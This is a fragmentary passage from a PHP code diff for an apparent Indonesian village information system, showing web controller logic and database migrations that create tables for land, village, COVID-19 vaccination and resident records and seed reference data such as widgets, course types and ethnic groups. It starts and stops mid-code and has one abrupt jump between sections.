(Config::count() === 0) { + $this->session->cek_app_key = true; + redirect('koneksi_database/desaBaru'); + } elseif (Config::count() > 1) { + $appKeyDb = Config::appKey()->first(); + } + + if (! empty($appKeyDb->app_key) && $appKey !== $appKeyDb->app_key) { + $this->session->cek_app_key = true; + redirect('koneksi_database/config'); + } + } +} + +class Web_Controller extends MY_Controller +{ + public $cek_anjungan; + + // Constructor + public function __construct() + { + parent::__construct(); + + $this->header = identitas(); + if ($this->setting->offline_mode == 2) { + $this->view_maintenance(); + } elseif ($this->setting->offline_mode == 1) { + $this->load->model('user_model'); + $grup = $this->user_model->sesi_grup($this->session->sesi); + if (! $this->user_model->hak_akses($grup, 'web', 'b')) { + $this->view_maintenance(); + } + } + + $this->load->model('theme_model'); + $this->theme = $this->theme_model->tema; + $this->theme_folder = $this->theme_model->folder; + + // Variabel untuk tema + $this->set_template(); + $this->includes['folder_themes'] = "../../{$this->theme_folder}/{$this->theme}"; + + $this->load->model('web_menu_model'); + } + + /** + * set_template function + * + * @param string $template_file + * + * @return void + */ + public function set_template($template_file = 'template') + { + $this->template = "../../{$this->theme_folder}/{$this->theme}/{$template_file}"; + } + + public function _get_common_data(&$data) + { + $this->load->model('statistik_pengunjung_model'); + $this->load->model('first_menu_m'); + $this->load->model('teks_berjalan_model'); + $this->load->model('first_artikel_m'); + $this->load->model('web_widget_model'); + $this->load->model('keuangan_grafik_manual_model'); + $this->load->model('keuangan_grafik_model'); + $this->load->model('pengaduan_model'); // TODO: Cek digunakan halaman apa saja + + // Counter statistik pengunjung + $this->statistik_pengunjung_model->counter_visitor(); + + // Data statistik pengunjung + $data['statistik_pengunjung'] = $this->statistik_pengunjung_model->get_statistik(); + + $data['latar_website'] = default_file($this->theme_model->lokasi_latar_website() . $this->setting->latar_website, DEFAULT_LATAR_WEBSITE); + $data['desa'] = $this->header; + $data['menu_atas'] = $this->first_menu_m->list_menu_atas(); + $data['menu_kiri'] = $this->first_menu_m->list_menu_kiri(); + $data['teks_berjalan'] = ($this->db->field_exists('tipe', 'teks_berjalan')) ? $this->teks_berjalan_model->list_data(true, 1) : null; + $data['slide_artikel'] = $this->first_artikel_m->slide_show(); + $data['slider_gambar'] = $this->first_artikel_m->slider_gambar(); + $data['w_cos'] = $this->web_widget_model->get_widget_aktif(); + $data['cek_anjungan'] = $this->cek_anjungan; + + $this->web_widget_model->get_widget_data($data); + $data['data_config'] = $this->header; + if ($this->setting->apbdes_footer && $this->setting->apbdes_footer_all) { + $data['transparansi'] = $this->setting->apbdes_manual_input + ? $this->keuangan_grafik_manual_model->grafik_keuangan_tema() + : $this->keuangan_grafik_model->grafik_keuangan_tema(); + } + // Pembersihan tidak dilakukan global, karena artikel yang dibuat oleh + // petugas terpecaya diperbolehkan menampilkan

', + 'enabled' => 2, + 'judul' => 'Peta Desa', + 'jenis_widget' => 3, + 'urut' => 1, + 'form_admin' => '', + 'setting' => '', + ], + [ + 'id' => 3, + 'isi' => 'agenda.php', + 'enabled' => 1, + 'judul' => 'Agenda', + 'jenis_widget' => 1, + 'urut' => 6, + 'form_admin' => 'web/tab/1000', + 'setting' => '', + ], + [ + 'id' => 4, + 'isi' => 'galeri.php', + 'enabled' => 1, + 'judul' => 'Galeri', + 'jenis_widget' => 1, + 'urut' => 8, + 'form_admin' => 'gallery', + 'setting' => '', + ], + [ + 'id' => 5, + 'isi' => 'statistik.php', + 'enabled' => 1, + 'judul' => 'Statistik', + 'jenis_widget' => 1, + 'urut' => 4, + 'form_admin' => '', + 'setting' => '', + ], + [ + 'id' => 6, + 'isi' => 'komentar.php', + 'enabled' => 1, + 'judul' => 'Komentar', + 'jenis_widget' => 1, + 'urut' => 10, + 'form_admin' => 'komentar', + 'setting' => '', + ], + [ + 'id' => 7, + 'isi' => 'media_sosial.php', + 'enabled' => 1, + 'judul' => 'Media Sosial', + 'jenis_widget' => 1, + 'urut' => 11, + 'form_admin' => 'sosmed', + 'setting' => '', + ], + [ + 'id' => 8, + 'isi' => 'peta_lokasi_kantor.php', + 'enabled' => 1, + 'judul' => 'Peta Lokasi Kantor', + 'jenis_widget' => 1, + 'urut' => 13, + 'form_admin' => 'identitas_desa/maps/kantor', + 'setting' => '', + ], + [ + 'id' => 9, + 'isi' => 'statistik_pengunjung.php', + 'enabled' => 1, + 'judul' => 'Statistik Pengunjung', + 'jenis_widget' => 1, + 'urut' => 14, + 'form_admin' => '', + 'setting' => '', + ], + [ + 'id' => 10, + 'isi' => 'arsip_artikel.php', + 'enabled' => 1, + 'judul' => 'Arsip Artikel', + 'jenis_widget' => 1, + 'urut' => 5, + 'form_admin' => '', + 'setting' => '', + ], + [ + 'id' => 11, + 'isi' => 'aparatur_desa.php', + 'enabled' => 1, + 'judul' => 'Aparatur Desa', + 'jenis_widget' => 1, + 'urut' => 9, + 'form_admin' => 'web_widget/admin/aparatur_desa', + 'setting' => '{\"overlay\":\"1\"}', + ], + [ + 'id' => 12, + 'isi' => 'sinergi_program.php', + 'enabled' => 1, + 'judul' => 'Sinergi Program', + 'jenis_widget' => 1, + 'urut' => 7, + 'form_admin' => 'web_widget/admin/sinergi_program', + 'setting' => '[]', + ], + [ + 'id' => 13, + 'isi' => 'menu_kategori.php', + 'enabled' => 1, + 'judul' => 'Menu Kategori', + 'jenis_widget' => 1, + 'urut' => 2, + 'form_admin' => '', + 'setting' => '', + ], + [ + 'id' => 14, + 'isi' => 'peta_wilayah_desa.php', + 'enabled' => 1, + 'judul' => 'Peta Wilayah Desa', + 'jenis_widget' => 1, + 'urut' => 12, + 'form_admin' => 'identitas_desa/maps/wilayah', + 'setting' => '', + ], + [ + 'id' => 15, + 'isi' => 'keuangan.php', + 'enabled' => 1, + 'judul' => 'Keuangan', + 'jenis_widget' => 1, + 'urut' => 15, + 'form_admin' => 'keuangan/impor_data', + 'setting' => '', + ], + ]); + } + + private function tabel_pertanahan() + { + DB::statement(' + CREATE TABLE `cdesa` ( + `id` int(5) unsigned NOT NULL AUTO_INCREMENT, + `nomor` varchar(20) NOT NULL, + `nama_kepemilikan` varchar(100) NOT NULL, + `jenis_pemilik` tinyint(1) NOT NULL DEFAULT 0, + `nama_pemilik_luar` varchar(100) DEFAULT NULL, + `alamat_pemilik_luar` varchar(200) DEFAULT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `nomor` (`nomor`) + ); + '); + + DB::statement(' + CREATE TABLE `persil` ( + `id` int(11) unsigned NOT NULL AUTO_INCREMENT, + `nomor` varchar(20) NOT NULL, + `nomor_urut_bidang` smallint(6) DEFAULT 1, + `kelas` int(5) NOT NULL, + `luas_persil` decimal(7,0) DEFAULT NULL, + `id_wilayah` int(11) DEFAULT NULL, + `lokasi` text DEFAULT NULL, + `path` text DEFAULT NULL, + `cdesa_awal` int(11) unsigned DEFAULT NULL, + `id_peta` int(60) DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `nomor_nomor_urut_bidang` (`nomor`,`nomor_urut_bidang`) + ); + '); + + DB::statement(' + CREATE TABLE `ref_persil_kelas` ( + `id` int(5) unsigned NOT NULL AUTO_INCREMENT, + `tipe` varchar(20) NOT NULL, + `kode` varchar(20) NOT NULL, + `ndesc` text DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_persil_kelas')->insert([ + [ + 'id' => 1, + 'tipe' => 'BASAH', + 'kode' => 'S-I', + 'ndesc' => 'Persawahan Dekat dengan Pemukiman', + ], + [ + 'id' => 2, + 'tipe' => 'BASAH', + 'kode' => 'S-II', + 'ndesc' => 'Persawahan Agak Dekat dengan Pemukiman', + ], + [ + 'id' => 3, + 'tipe' => 'BASAH', + 'kode' => 'S-III', + 'ndesc' => 'Persawahan Jauh dengan Pemukiman', + ], + [ + 'id' => 4, + 'tipe' => 'BASAH', + 'kode' => 'S-IV', + 'ndesc' => 'Persawahan Sangat Jauh dengan Pemukiman', + ], + [ + 'id' => 5, + 'tipe' => 'KERING', + 'kode' => 'D-I', + 'ndesc' => 'Lahan Kering Dekat dengan Pemukiman', + ], + [ + 'id' => 6, + 'tipe' => 'KERING', + 'kode' => 'D-II', + 'ndesc' => 'Lahan Kering Agak Dekat dengan Pemukiman', + ], + [ + 'id' => 7, + 'tipe' => 'KERING', + 'kode' => 'D-III', + 'ndesc' => 'Lahan Kering Jauh dengan Pemukiman', + ], + [ + 'id' => 8, + 'tipe' => 'KERING', + 'kode' => 'D-IV', + 'ndesc' => 'Lahan Kering Sanga Jauh dengan Pemukiman', + ], + ]); + + DB::statement(' + CREATE TABLE `ref_persil_mutasi` ( + `id` tinyint(5) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(20) NOT NULL, + `ndesc` text DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_persil_mutasi')->insert([ + [ + 'id' => 1, + 'nama' => 'Jual Beli', + 'ndesc' => 'Didapat dari proses Jual Beli', + ], + [ + 'id' => 2, + 'nama' => 'Hibah', + 'ndesc' => 'Didapat dari proses Hibah', + ], + [ + 'id' => 3, + 'nama' => 'Waris', + 'ndesc' => 'Didapat dari proses Waris', + ], + ]); + + DB::statement(' + CREATE TABLE `tanah_desa` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_penduduk` int(10) NOT NULL, + `nik` decimal(16,0) DEFAULT NULL, + `jenis_pemilik` text DEFAULT NULL, + `nama_pemilik_asal` varchar(200) NOT NULL, + `luas` int(10) NOT NULL, + `hak_milik` int(11) DEFAULT NULL, + `hak_guna_bangunan` int(11) DEFAULT NULL, + `hak_pakai` int(11) DEFAULT NULL, + `hak_guna_usaha` int(11) DEFAULT NULL, + `hak_pengelolaan` int(11) DEFAULT NULL, + `hak_milik_adat` int(11) DEFAULT NULL, + `hak_verponding` int(11) DEFAULT NULL, + `tanah_negara` int(11) DEFAULT NULL, + `perumahan` int(11) DEFAULT NULL, + `perdagangan_jasa` int(11) DEFAULT NULL, + `perkantoran` int(11) DEFAULT NULL, + `industri` int(11) DEFAULT NULL, + `fasilitas_umum` int(11) DEFAULT NULL, + `sawah` int(11) DEFAULT NULL, + `tegalan` int(11) DEFAULT NULL, + `perkebunan` int(11) DEFAULT NULL, + `peternakan_perikanan` int(11) DEFAULT NULL, + `hutan_belukar` int(11) DEFAULT NULL, + `hutan_lebat_lindung` int(11) DEFAULT NULL, + `tanah_kosong` int(11) DEFAULT NULL, + `lain` int(11) DEFAULT NULL, + `mutasi` text NOT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(10) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(10) NOT NULL, + `visible` tinyint(3) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`), + KEY `id_penduduk` (`id_penduduk`) + ); + '); + + DB::statement(' + CREATE TABLE `tanah_kas_desa` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama_pemilik_asal` varchar(200) NOT NULL, + `letter_c` text NOT NULL, + `kelas` text NOT NULL, + `luas` int(10) NOT NULL, + `asli_milik_desa` int(11) DEFAULT NULL, + `pemerintah` int(11) DEFAULT NULL, + `provinsi` int(11) DEFAULT NULL, + `kabupaten_kota` int(11) DEFAULT NULL, + `lain_lain` int(11) DEFAULT NULL, + `sawah` int(11) DEFAULT NULL, + `tegal` int(11) DEFAULT NULL, + `kebun` int(11) DEFAULT NULL, + `tambak_kolam` int(11) DEFAULT NULL, + `tanah_kering_darat` int(11) DEFAULT NULL, + `ada_patok` int(11) DEFAULT NULL, + `tidak_ada_patok` int(11) DEFAULT NULL, + `ada_papan_nama` int(11) DEFAULT NULL, + `tidak_ada_papan_nama` int(11) DEFAULT NULL, + `tanggal_perolehan` date DEFAULT NULL, + `lokasi` text NOT NULL, + `peruntukan` text NOT NULL, + `mutasi` text NOT NULL, + `keterangan` text NOT NULL, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(10) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(10) NOT NULL, + `visible` tinyint(2) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`) + ); + '); + } + + private function tabel_desa() + { + DB::statement(' + CREATE TABLE `config` ( + `id` int(5) NOT NULL AUTO_INCREMENT, + `nama_desa` varchar(100) NOT NULL, + `kode_desa` varchar(100) NOT NULL, + `kode_pos` int(5) DEFAULT NULL, + `nama_kecamatan` varchar(100) NOT NULL, + `kode_kecamatan` varchar(100) NOT NULL, + `nama_kepala_camat` varchar(100) NOT NULL, + `nip_kepala_camat` varchar(100) NOT NULL, + `nama_kabupaten` varchar(100) NOT NULL, + `kode_kabupaten` varchar(100) NOT NULL, + `nama_propinsi` varchar(100) NOT NULL, + `kode_propinsi` varchar(100) NOT NULL, + `logo` varchar(100) DEFAULT NULL, + `lat` varchar(20) DEFAULT NULL, + `lng` varchar(20) DEFAULT NULL, + `zoom` tinyint(4) DEFAULT NULL, + `map_tipe` varchar(20) DEFAULT NULL, + `path` text DEFAULT NULL, + `alamat_kantor` varchar(200) DEFAULT NULL, + `email_desa` varchar(50) DEFAULT NULL, + `telepon` varchar(50) DEFAULT NULL, + `website` varchar(100) DEFAULT NULL, + `kantor_desa` varchar(100) DEFAULT NULL, + `warna` varchar(25) DEFAULT NULL, + `pamong_id` int(11) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(" + CREATE TABLE `tweb_wil_clusterdesa` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `rt` varchar(10) NOT NULL DEFAULT '0', + `rw` varchar(10) NOT NULL DEFAULT '0', + `dusun` varchar(50) NOT NULL DEFAULT '0', + `id_kepala` int(11) DEFAULT NULL, + `lat` varchar(20) DEFAULT NULL, + `lng` varchar(20) DEFAULT NULL, + `zoom` int(11) DEFAULT NULL, + `path` text DEFAULT NULL, + `map_tipe` varchar(20) DEFAULT NULL, + `warna` varchar(25) DEFAULT NULL, + `urut` int(11) DEFAULT NULL, + `urut_cetak` int(11) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `rt` (`rt`,`rw`,`dusun`), + KEY `id_kepala` (`id_kepala`) + ); + "); + } + + private function tabel_covid19() + { + DB::statement(' + CREATE TABLE `covid19_vaksin` ( + `id_penduduk` varchar(100) NOT NULL, + `vaksin_1` int(1) DEFAULT NULL, + `tgl_vaksin_1` date DEFAULT NULL, + `dokumen_vaksin_1` varchar(255) DEFAULT NULL, + `jenis_vaksin_1` varchar(100) DEFAULT NULL, + `vaksin_2` int(1) DEFAULT NULL, + `tgl_vaksin_2` date DEFAULT NULL, + `dokumen_vaksin_2` varchar(255) DEFAULT NULL, + `jenis_vaksin_2` varchar(100) DEFAULT NULL, + `vaksin_3` int(1) DEFAULT NULL, + `tgl_vaksin_3` date DEFAULT NULL, + `dokumen_vaksin_3` varchar(255) DEFAULT NULL, + `jenis_vaksin_3` varchar(100) DEFAULT NULL, + `tunda` int(1) DEFAULT NULL, + `keterangan` tinytext DEFAULT NULL, + `surat_dokter` varchar(255) DEFAULT NULL, + PRIMARY KEY (`id_penduduk`) + ); + '); + + DB::statement(' + CREATE TABLE `ref_status_covid` ( + `id` int(11) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_status_covid')->insert([ + ['id' => 1, 'nama' => 'Kasus Suspek'], + ['id' => 2, 'nama' => 'Kasus Probable'], + ['id' => 3, 'nama' => 'Kasus Konfirmasi'], + ['id' => 4, 'nama' => 'Kontak Erat'], + ['id' => 5, 'nama' => 'Pelaku Perjalanan'], + ['id' => 6, 'nama' => 'Discarded'], + ['id' => 7, 'nama' => 'Selesai Isolasi'], + ]); + } + + private function tabel_penduduk() + { + DB::statement(" + CREATE TABLE `kelompok` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_master` int(11) NOT NULL, + `id_ketua` int(11) NOT NULL, + `nama` varchar(50) NOT NULL, + `slug` varchar(255) DEFAULT NULL, + `keterangan` varchar(300) DEFAULT NULL, + `kode` varchar(16) NOT NULL, + `tipe` varchar(100) DEFAULT 'kelompok', + PRIMARY KEY (`id`), + UNIQUE KEY `kode` (`kode`), + UNIQUE KEY `slug` (`slug`), + KEY `id_ketua` (`id_ketua`), + KEY `id_master` (`id_master`) + ); + "); + + DB::statement(" + CREATE TABLE `kelompok_master` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `kelompok` varchar(50) NOT NULL, + `deskripsi` varchar(400) NOT NULL, + `tipe` varchar(100) DEFAULT 'kelompok', + PRIMARY KEY (`id`) + ); + "); + + DB::statement(' + CREATE TABLE `log_hapus_penduduk` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_pend` int(11) NOT NULL, + `nik` decimal(16,0) NOT NULL, + `foto` varchar(100) DEFAULT NULL, + `deleted_by` varchar(100) DEFAULT NULL, + `deleted_at` timestamp NOT NULL DEFAULT current_timestamp(), + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `log_perubahan_penduduk` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_pend` int(11) NOT NULL, + `id_cluster` varchar(200) NOT NULL, + `tanggal` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `ref_penduduk_bahasa` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` varchar(50) NOT NULL, + `inisial` varchar(10) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_penduduk_bahasa')->insert([ + ['id' => 1, 'nama' => 'Latin', 'inisial' => 'L'], + ['id' => 2, 'nama' => 'Daerah', 'inisial' => 'D'], + ['id' => 3, 'nama' => 'Arab', 'inisial' => 'A'], + ['id' => 4, 'nama' => 'Arab dan Latin', 'inisial' => 'AL'], + ['id' => 5, 'nama' => 'Arab dan Daerah', 'inisial' => 'AD'], + ['id' => 6, 'nama' => 'Arab, Latin dan Daerah', 'inisial' => 'ALD'], + ]); + + DB::statement(' + CREATE TABLE `ref_penduduk_bidang` ( + `id` int(12) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_penduduk_bidang')->insert([ + ['id' => 1, 'nama' => 'Service Komputer'], + ['id' => 2, 'nama' => 'Operator Buldoser'], + ['id' => 3, 'nama' => 'Operator Komputer'], + ['id' => 4, 'nama' => 'Operator Genset'], + ['id' => 5, 'nama' => 'Service HP'], + ['id' => 6, 'nama' => 'Rias Pengantin'], + ['id' => 7, 'nama' => 'Design Grafis'], + ['id' => 8, 'nama' => 'Menjahit'], + ['id' => 9, 'nama' => 'Menulis'], + ['id' => 10, 'nama' => 'Reporter'], + ['id' => 11, 'nama' => 'Sosial Media Manajer'], + ['id' => 12, 'nama' => 'Manajemen Trainee'], + ['id' => 13, 'nama' => 'Kasir'], + ['id' => 14, 'nama' => 'HRD'], + ['id' => 15, 'nama' => 'Guru'], + ['id' => 16, 'nama' => 'Digital Marketing'], + ['id' => 17, 'nama' => 'Customer Services'], + ['id' => 18, 'nama' => 'Welder'], + ['id' => 19, 'nama' => 'Mekanik Alat Berat'], + ['id' => 20, 'nama' => 'Teknisi Listrik'], + ['id' => 21, 'nama' => 'Internet Marketing'], + ]); + + DB::statement(' + CREATE TABLE `ref_penduduk_hamil` ( + `id` int(11) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_penduduk_hamil')->insert([ + ['id' => 1, 'nama' => 'Hamil'], + ['id' => 2, 'nama' => 'Tidak Hamil'], + ]); + + DB::statement(' + CREATE TABLE `ref_penduduk_kursus` ( + `id` int(12) unsigned NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_penduduk_kursus')->insert([ + ['id' => 1, 'nama' => 'Kursus Komputer'], + ['id' => 2, 'nama' => 'Kursus Menjahit'], + ['id' => 3, 'nama' => 'Pelatihan Kelistrikan'], + ['id' => 4, 'nama' => 'Kursus Mekanik Motor'], + ['id' => 5, 'nama' => 'Pelatihan Security'], + ['id' => 6, 'nama' => 'Kursus Otomotif'], + ['id' => 7, 'nama' => 'Kursus Bahasa Inggris'], + ['id' => 8, 'nama' => 'Kursus Tata Kecantikan Kulit'], + ['id' => 9, 'nama' => 'Kursus Megemudi'], + ['id' => 10, 'nama' => 'Kursus Tata Boga'], + ['id' => 11, 'nama' => 'Kursus Meubeler'], + ['id' => 12, 'nama' => 'Kursus Las'], + ['id' => 13, 'nama' => 'Kursus Sablon'], + ['id' => 14, 'nama' => 'Kursus Penerbangan'], + ['id' => 15, 'nama' => 'Kursus Desain Interior'], + ['id' => 16, 'nama' => 'Kursus Teknisi HP'], + ['id' => 17, 'nama' => 'Kursus Garment'], + ['id' => 18, 'nama' => 'Kursus Akupuntur'], + ['id' => 19, 'nama' => 'Kursus Senam'], + ['id' => 20, 'nama' => 'Kursus Pendidik PAUD'], + ['id' => 21, 'nama' => 'Kursus Baby Sitter'], + ['id' => 22, 'nama' => 'Kursus Desain Grafis'], + ['id' => 23, 'nama' => 'Kursus Bahasa Indonesia'], + ['id' => 24, 'nama' => 'Kursus Photografi'], + ['id' => 25, 'nama' => 'Kursus Expor Impor'], + ['id' => 26, 'nama' => 'Kursus Jurnalistik'], + ['id' => 27, 'nama' => 'Kursus Bahasa Arab'], + ['id' => 28, 'nama' => 'Kursus Bahasa Jepang'], + ['id' => 29, 'nama' => 'Kursus Anak Buah Kapal'], + ['id' => 30, 'nama' => 'Kursus Refleksi'], + ['id' => 31, 'nama' => 'Kursus Akupuntur'], + ['id' => 32, 'nama' => 'Kursus Perhotelan'], + ['id' => 33, 'nama' => 'Kursus Tata Rias'], + ['id' => 34, 'nama' => 'Kursus Administrasi Perkantoran'], + ['id' => 35, 'nama' => 'Kursus Broadcasting'], + ['id' => 36, 'nama' => 'Kursus Kerajinan Tangan'], + ['id' => 37, 'nama' => 'Kursus Sosial Media Marketing'], + ['id' => 38, 'nama' => 'Kursus Internet Marketing'], + ['id' => 39, 'nama' => 'Kursus Sekretaris'], + ['id' => 40, 'nama' => 'Kursus Perpajakan'], + ['id' => 41, 'nama' => 'Kursus Publik Speaking'], + ['id' => 42, 'nama' => 'Kursus Publik Relation'], + ['id' => 43, 'nama' => 'Kursus Batik'], + ['id' => 44, 'nama' => 'Kursus Pengobatan Tradisional'], + ]); + + DB::statement(' + CREATE TABLE `ref_penduduk_suku` ( + `id` int(65) unsigned NOT NULL AUTO_INCREMENT, + `suku` varchar(100) NOT NULL, + `deskripsi` text NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('ref_penduduk_suku')->insert([ + ['id' => 1, 'suku' => 'Aceh', 'deskripsi' => 'Aceh'], + ['id' => 2, 'suku' => 'Alas', 'deskripsi' => 'Aceh'], + ['id' => 3, 'suku' => 'Alor', 'deskripsi' => 'NTT'], + ['id' => 4, 'suku' => 'Ambon', 'deskripsi' => 'Ambon'], + ['id' => 5, 'suku' => 'Ampana', 'deskripsi' => 'Sulawesi Tengah'], + ['id' => 6, 'suku' => 'Anak Dalam', 'deskripsi' => 'Jambi'], + ['id' => 7, 'suku' => 'Aneuk Jamee', 'deskripsi' => 'Aceh'], + [ + 'id' => 8, + 'suku' => 'Arab: Orang Hadhrami', + 'deskripsi' => 'Arab: Orang Hadhrami', + ], + ['id' => 9, 'suku' => 'Aru', 'deskripsi' => 'Maluku'], + ['id' => 10, 'suku' => 'Asmat', 'deskripsi' => 'Papua'], + [ + 'id' => 11, + 'suku' => 'Bare’e', + 'deskripsi' => 'Bare’e di Kabupaten Tojo Una-Una Tojo dan Tojo Barat', + ], + ['id' => 12, 'suku' => 'Banten', 'deskripsi' => 'Banten di Banten'], + [ + 'id' => 13, + 'suku' => 'Besemah', + 'deskripsi' => 'Besemah di Sumatera Selatan', + ], + [ + 'id' => 14, + 'suku' => 'Bali', + 'deskripsi' => "Bali\u{a0}di Bali terdiri dari: Suku Bali Majapahit di sebagian besar Pulau Bali; Suku Bali Aga di Karangasem dan Kintamani", + ], + [ + 'id' => 15, + 'suku' => 'Balantak', + 'deskripsi' => 'Balantak di Sulawesi Tengah', + ], + [ + 'id' => 16, + 'suku' => 'Banggai', + 'deskripsi' => 'Banggai di Sulawesi Tengah (Kabupaten Banggai Kepulauan)', + ], + ['id' => 17, 'suku' => 'Baduy', 'deskripsi' => "Baduy\u{a0}di Banten"], + [ + 'id' => 18, + 'suku' => 'Bajau', + 'deskripsi' => 'Bajau di Kalimantan Timur', + ], + [ + 'id' => 19, + 'suku' => 'Banjar', + 'deskripsi' => 'Banjar di Kalimantan Selatan', + ], + ['id' => 20, 'suku' => 'Batak', 'deskripsi' => 'Sumatera Utara'], + [ + 'id' => 21, + 'suku' => 'Batak Karo', + 'deskripsi' => 'Sumatera Utara', + ], + [ + 'id' => 22, + 'suku' => 'Mandailing', + 'deskripsi' => 'Sumatera Utara', + ], + ['id' => 23, 'suku' => 'Angkola', 'deskripsi' => 'Sumatera Utara'], + ['id' => 24, 'suku' => 'Toba', 'deskripsi' => 'Sumatera Utara'], + ['id' => 25, 'suku' => 'Pakpak', 'deskripsi' => 'Sumatera Utara'], + [ + 'id' => 26, + 'suku' => 'Simalungun', + 'deskripsi' => 'Sumatera Utara', + ], + ['id' => 27, 'suku' => 'Batin', 'deskripsi' => 'Batin di Jambi'], + [ + 'id' => 28, + 'suku' => 'Bawean', + 'deskripsi' => 'Bawean di Jawa Timur (Gresik)', + ], + [ + 'id' => 29, + 'suku' => 'Bentong', + 'deskripsi' => 'Bentong di Sulawesi Selatan', + ], + [ + 'id' => 30, + 'suku' => 'Berau', + 'deskripsi' => 'Berau di Kalimantan Timur (kabupaten Berau)', + ], + [ + 'id' => 31, + 'suku' => 'Betawi', + 'deskripsi' => 'Betawi di Jakarta', + ], + [ + 'id' => 32, + 'suku' => 'Bima', + 'deskripsi' => 'Bima NTB (kota Bima)', + ], + [ + 'id' => 33, + 'suku' => 'Boti', + 'deskripsi' => 'Boti di kabupaten Timor Tengah Selatan', + ], + [ + 'id' => 34, + 'suku' => 'Bolang Mongondow', + 'deskripsi' => 'Bolang Mongondow di Sulawesi Utara (Kabupaten Bolaang Mongondow)', + ], + [ + 'id' => 35, + 'suku' => 'Bugis', + 'deskripsi' => "Bugis\u{a0}di Sulawesi Selatan: Orang Bugis Pagatan di Kalimantan Selatan, Kusan Hilir, Tanah Bumbu", + ], + [ + 'id' => 36, + 'suku' => 'Bungku', + 'deskripsi' => 'Bungku di Sulawesi Tengah (Kabupaten Morowali)', + ], + [ + 'id' => 37, + 'suku' => 'Buru', + 'deskripsi' => 'Buru di Maluku (Kabupaten Buru)', + ], + [ + 'id' => 38, + 'suku' => 'Buol', + 'deskripsi' => 'Buol di Sulawesi Tengah (Kabupaten Buol)', + ], + [ + 'id' => 39, + 'suku' => 'Bulungan ', + 'deskripsi' => 'Bulungan di Kalimantan Timur (Kabupaten Bulungan)', + ], + [ + 'id' => 40, + 'suku' => 'Buton', + 'deskripsi' => 'Buton di Sulawesi Tenggara (Kabupaten Buton dan Kota Bau-Bau)', + ], + [ + 'id' => 41, + 'suku' => 'Bonai', + 'deskripsi' => 'Bonai di Riau (Kabupaten Rokan Hilir)', + ], + ['id' => 42, 'suku' => 'Cham ', 'deskripsi' => 'Cham di Aceh'], + [ + 'id' => 43, + 'suku' => 'Cirebon ', + 'deskripsi' => 'Cirebon di Jawa Barat (Kota Cirebon)', + ], + ['id' => 44, 'suku' => 'Damal', 'deskripsi' => 'Damal di Mimika'], + [ + 'id' => 45, + 'suku' => 'Dampeles', + 'deskripsi' => 'Dampeles di Sulawesi Tengah', + ], + [ + 'id' => 46, + 'suku' => 'Dani ', + 'deskripsi' => 'Dani di Papua (Lembah Baliem)', + ], + [ + 'id' => 47, + 'suku' => 'Dairi', + 'deskripsi' => 'Dairi di Sumatera Utara', + ], + [ + 'id' => 48, + 'suku' => 'Daya ', + 'deskripsi' => 'Daya di Sumatera Selatan', + ], + [ + 'id' => 49, + 'suku' => 'Dayak', + 'deskripsi' => "Dayak\u{a0}terdiri dari: Suku Dayak Ahe di Kalimantan Barat; Suku Dayak Bajare di Kalimantan Barat; Suku Dayak Damea di Kalimantan Barat; Suku Dayak Banyadu di Kalimantan Barat; Suku Bakati di Kalimantan Barat; Suku Punan di Kalimantan Tengah; Suku Kanayatn di Kalimantan Barat; Suku Dayak Krio di Kalimantan Barat (Ketapang], Suku Dayak Sungai Laur di Kalimantan Barat (Ketapang], Suku Dayak Simpangh di Kalimantan Barat (Ketapang], Suku Iban di Kalimantan Barat; Suku Mualang di Kalimantan Barat (Sekada", + ], + [ + 'id' => 50, + 'suku' => 'Dompu', + 'deskripsi' => 'Dompu NTB (Kabupaten Dompu)', + ], + ['id' => 51, 'suku' => 'Donggo', 'deskripsi' => 'Donggo, Bima'], + [ + 'id' => 52, + 'suku' => 'Dongga', + 'deskripsi' => 'Donggala di Sulawesi Tengah', + ], + [ + 'id' => 53, + 'suku' => 'Dondo ', + 'deskripsi' => 'Dondo di Sulawesi Tengah (Kabupaten Toli-Toli)', + ], + [ + 'id' => 54, + 'suku' => 'Duri', + 'deskripsi' => 'Duri Terletak di bagian utara Kabupaten Enrekang berbatasan dengan Kabupaten Tana Toraja, meliputi tiga kecamatan induk Anggeraja, Baraka, dan Alla di Sulawesi Selatan', + 